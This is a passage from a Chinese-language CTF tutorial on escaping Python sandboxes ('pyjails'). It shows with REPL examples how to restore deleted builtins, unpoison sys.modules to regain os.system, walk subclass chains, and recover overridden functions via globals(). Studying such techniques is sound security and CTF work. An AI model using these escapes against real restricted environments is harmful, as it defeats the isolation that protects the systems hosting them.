绕过删除模块或方法
在一些沙箱中,可能会对某些模块或者模块的某些方法使用 del
关键字进行删除。
例如删除 builtins 模块的 eval 方法。
>>> __builtins__.__dict__['eval']
<built-in function eval>
>>> del __builtins__.__dict__['eval']
>>> __builtins__.__dict__['eval']
Traceback (most recent call last):
File "<stdin>", line 1, in <module>
KeyError: 'eval'
reload 重新加载
reload 函数可以重新加载模块,这样被删除的函数能被重新加载
>>> __builtins__.__dict__['eval']
<built-in function eval>
>>> del __builtins__.__dict__['eval']
>>> __builtins__.__dict__['eval']
Traceback (most recent call last):
File "<stdin>", line 1, in <module>
KeyError: 'eval'
>>> reload(__builtins__)
<module '__builtin__' (built-in)>
>>> __builtins__.__dict__['eval']
<built-in function eval>
在 Python 3 中,reload() 函数被移动到 importlib 模块中,所以如果要使用 reload() 函数,需要先导入 importlib 模块。
貌似新版本的 python 即使运行了 importlib.reload 也无法恢复了。
>>> importlib.reload(__builtins__)
<module 'builtins' (built-in)>
>>> __builtins__.__dict__['eval']
Traceback (most recent call last):
File "<stdin>", line 1, in <module>
KeyError: 'eval'
恢复 sys.modules
一些过滤中可能将 sys.modules['os']
进行修改. 这个时候即使将 os 模块导入进来,也是无法使用的.
>>> sys.modules['os'] = 'not allowed'
>>> __import__('os').system('ls')
Traceback (most recent call last):
File "<stdin>", line 1, in <module>
AttributeError: 'str' object has no attribute 'system'
由于很多别的命令执行库也使用到了 os,因此也会受到相应的影响,例如 subprocess
>>> __import__('subprocess').Popen('whoami', shell=True)
Traceback (most recent call last):
File "<stdin>", line 1, in <module>
File "/home/kali/.pyenv/versions/3.8.10/lib/python3.8/subprocess.py", line 688, in <module>
class Popen(object):
File "/home/kali/.pyenv/versions/3.8.10/lib/python3.8/subprocess.py", line 1708, in Popen
def _handle_exitstatus(self, sts, _WIFSIGNALED=os.WIFSIGNALED,
AttributeError: 'str' object has no attribute 'WIFSIGNALED'
由于 import 导入模块时会检查 sys.modules 中是否已经有这个类,如果有则不加载,没有则加载.因此我们只需要将 os 模块删除,然后再次导入即可.
sys.modules['os'] = 'not allowed' # oj 为你加的
del sys.modules['os']
import os
os.system('ls')
基于继承链获取
在清空了 __builtins__
的情况下,我们也可以通过索引 subclasses 来找到这些内建函数。
# 根据环境找到 bytes 的索引,此处为 5
>>> ().__class__.__base__.__subclasses__()[5]
<class 'bytes'>
使用 globals() 获取 builtins 方法
在一些题目中,可能通过覆盖内置的函数来限制我们使用。例如下面的代码:
def blacklist_fun_callback(*args):
print("Player! It's already banned!")
vars = blacklist_fun_callback
attr = blacklist_fun_callback
dir = blacklist_fun_callback
getattr = blacklist_fun_callback
exec = blacklist_fun_callback
__import__ = blacklist_fun_callback
compile = blacklist_fun_callback
breakpoint = blacklist_fun_callback
但 builtins 模块是一个不可变的模块对象,这样修改仅能够在当前的作用域中生效,而 globals() 中存放了 builtins 模块的索引,因此可以通过下面的方式获取到原始的方法。
globals()["__builtins__"]['breakpoint']
但如果题目直接通过下面的方式来删除,那就没有办法了,即使 reload 重新导入 builtins 模块,较新版本的 python 中也无法恢复。
del globals()["__builtins__"].breakpoint
参考资料
PREVIOUSCTF Pyjail 沙箱逃逸绕过合集